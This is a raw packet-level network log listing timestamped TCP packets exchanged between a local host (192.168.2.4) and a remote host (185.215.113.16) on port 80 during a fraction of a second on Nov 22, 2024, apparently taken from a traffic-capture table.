Nov 22, 2024 04:12:28.754235983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.754952908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.754998922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.755045891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.755090952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.755808115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.755852938 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.755897045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.755940914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.756661892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.756706953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.756839037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.756882906 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.757541895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.757587910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.757630110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.757673025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.758400917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.758445978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.758482933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.758528948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.759249926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.759300947 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.759352922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.759404898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.760114908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.760159969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.760217905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.760262966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.760983944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.761029959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.761077881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.761121035 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.761851072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.761897087 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.761961937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.762007952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.762697935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.762743950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.762804985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.762849092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.763601065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.763648987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.763703108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.763748884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.764453888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.764501095 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.764542103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.764585972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.765320063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.765361071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.765427113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.765470982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.766247034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.766292095 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.766366005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.766413927 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.767038107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.767083883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.767167091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.767210960 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.767900944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.767945051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.767991066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.768034935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.768790007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.768832922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.768877983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.768922091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.769624949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.769686937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.769730091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.769778013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.770482063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.770529985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.770572901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.770632029 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.771334887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.771385908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.771466970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.771512032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.772186995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.772237062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.772278070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.772322893 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.773094893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.773143053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.773185015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.773228884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.773933887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.773983002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.774049044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.774096966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.774800062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.774849892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.774894953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.774935961 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.775655031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.775702000 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.775743961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.775790930 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.776601076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.776647091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.776735067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.776778936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.777395010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.777442932 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.777492046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.777537107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.778232098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.778279066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.778352976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.778399944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.779119015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.779166937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.779194117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.779234886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.779999971 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.780050993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.780416965 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.780464888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.780848980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.780899048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.780942917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.780989885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.781704903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.781754017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.781825066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.781873941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.782558918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.782608032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.782649040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.782696009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.783417940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.783476114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.783518076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.783565044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.784301996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.784348011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.784410000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.784460068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.785157919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.785208941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.785281897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.785331011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.786039114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.786088943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.786132097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.786242008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.786875010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.786926031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.786969900 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.787015915 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.787744045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.787792921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.787842035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.787888050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.788614988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.788667917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.788710117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.788755894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.789520979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.789572001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.789647102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.789693117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.790363073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.790415049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.790457964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.790503979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.791234016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.791286945 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.791330099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.791379929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.792083979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.792133093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.792164087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.792208910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.792952061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.792999983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.793026924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.793072939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.793792963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.793840885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.793868065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.793914080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.794656992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.794708014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.794754028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.794804096 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.795509100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.795559883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.795608997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.795655012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.796406984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.796454906 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.796502113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.796550035 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.797292948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.797343969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.797389030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.797442913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.798135996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.798185110 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.798228025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.798276901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.798947096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.798998117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.954858065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.954957008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.955010891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.955235004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.955380917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.955429077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.956096888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.956141949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.956415892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.956465960 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.956536055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.956581116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.957278013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.957325935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.957379103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.957423925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.958131075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.958194017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.958237886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.958278894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.959000111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.959126949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.959186077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.959856033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.959912062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.959954977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.960006952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.960760117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.960809946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.960977077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.961023092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.961613894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.961666107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.961740017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.961787939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.962460041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.962507963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.962555885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.962615967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.963337898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.963418961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.963474035 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.964175940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.964231014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.964303970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.964354992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.965053082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.965104103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.965147018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.965192080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.965917110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.965966940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.966073036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.966124058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.966785908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.966835022 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.966917992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.966970921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.967624903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.967741013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.967789888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.968522072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.968595982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.968652010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.968700886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.969413996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.969464064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.969508886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.969554901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.970273018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.970321894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.970410109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.970455885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.971117020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.971225023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.971271992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.971966982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.972018957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.972062111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.972106934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.972898960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.972953081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.972995996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.973052025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.973680019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.973728895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.973788977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.973838091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.974535942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.974584103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.974663019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.974710941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.975428104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.975534916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.975581884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.976279020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.976325989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.976367950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.976413965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.977140903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.977191925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.977236032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.977283001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.978024960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.978074074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.978137970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.978188992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.978883028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.978945017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.979018927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.979741096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.979799032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.979842901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.979893923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.980583906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.980638027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.980675936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.980720043 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.981451988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.981498003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.981569052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.981614113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.982300043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.982348919 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.982469082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.982517958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.983175039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.983264923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.983325958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.984056950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.984110117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.984160900 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.984208107 CET	49798	80	192.168.2.4	185.215.113.16
